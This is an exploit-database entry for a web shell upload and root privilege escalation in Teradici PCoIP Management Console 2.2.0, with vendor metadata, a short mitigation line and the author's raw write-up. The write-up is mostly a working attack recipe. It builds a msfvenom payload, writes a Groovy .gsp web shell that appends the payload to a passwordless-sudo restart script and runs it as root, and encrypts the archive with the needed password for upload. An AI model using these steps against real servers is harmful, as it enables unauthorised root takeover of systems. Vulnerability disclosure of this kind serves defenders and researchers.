Teradici Management Console 2.2.0 - Web Shell Upload and Privilege Escalation

vendor:

PCoIP Management Console

by:

hantwister

7,8

CVSS

HIGH

Web Shell Upload and Privilege Escalation

264

CWE

Product Name: PCoIP Management Console

Affected Version From: 2.2.0

Affected Version To: 2.2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:teradici:pcoip_management_console

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: CentOS 7 x64

2017

Teradici Management Console 2.2.0 – Web Shell Upload and Privilege Escalation

Users that can access the Settings > Database Management page can achieve code execution as root on older versions of PCoIP MC 2.x. (Based on CentOS 7 x64). Database archives are extracted under /opt/jetty/tmpdeploy. By creating a malicious archive with a malicious web script that extracts to the known directory /opt/jetty/tmpdeploy/jetty-0.0.0.0-8080-console.war-_console-any- it is possible to add or modify class files and XML files pertaining to the application. The jetty user owns the file /opt/jetty/jetty_self_restart.sh, and the same user has sudo rights to run that file without a password. By manipulating this file, arbitrary code can be run as root.

Mitigation:

Ensure that the web application is running the latest version of the Teradici Management Console and that all users have the least privileges necessary to perform their job functions.

Source

Exploit-DB raw data:

# Exploit Title: Teradici Management Console 2.2.0 - Web Shell Upload and Privilege Escalation
# Date: February 22nd, 2017
# Exploit Author: hantwister
# Vendor Homepage: http://www.teradici.com/products-and-solutions/pcoip-products/management-console
# Software Link: https://techsupport.teradici.com/ics/support/DLRedirect.asp?fileID=63583 (login required)
# Version: 2.2.0


Users that can access the Settings > Database Management page can achieve code
execution as root on older versions of PCoIP MC 2.x. (Based on CentOS 7 x64)


Web Shell Upload Vulnerability Overview
---------------------------------------

Database archives are extracted under /opt/jetty/tmpdeploy. By creating a
malicious archive with a malicious web script that extracts to the known
directory /opt/jetty/tmpdeploy/jetty-0.0.0.0-8080-console.war-_console-any-
it is possible to add or modify class files and XML files pertaining to the
application.


Privilege Escalation Vulnerability Overview
-------------------------------------------

The jetty user owns the file /opt/jetty/jetty_self_restart.sh, and the same user
has sudo rights to run that file without a password. By manipulating this file,
arbitrary code can be run as root.


Exploiting The Vulnerabilities
------------------------------

alice:~$ mkdir -p runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
alice:~$ cd runasroot
alice:~/runasroot$ msfvenom (snip) > evil
alice:~/runasroot$ chmod a+x evil
alice:~/runasroot$ nano modify_self_restart.sh

#!/bin/bash
echo /tmp/evil >> /opt/jetty/jetty_self_restart.sh

alice:~/runasroot$ chmod a+x modify_self_restart.sh
alice:~/runasroot$ cd jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$ nano runasroot.gsp

<html>
<head>
<title>runasroot</title>
</head>
<body>
<pre>
<% out << "cp /opt/jetty/tmpdeploy/evil /tmp/".execute().text %>
<% out << "/opt/jetty/tmpdeploy/modify_self_restart.sh".execute().text %>
<% out << "sudo /opt/jetty/jetty_self_restart.sh".execute().text %>
</pre>
</body>
</html>

alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$ cd ../../..
alice:~/runasroot$ tar -zcf runasroot.tar.gz evil modify_self_restart.sh jetty-0.0.0.0-8080-console.war-_console-any-
alice:~/runasroot$ openssl enc -e -aes-256-cbc -salt -in runasroot.tar.gz -out runasroot.archive -pass pass:4400Dominion -p

Now, choose to upload runasroot.archive through the Database Management page. An
error will be displayed that it wasn't a valid archive. Now, navigate to
https://IP/console/images/runasroot.gsp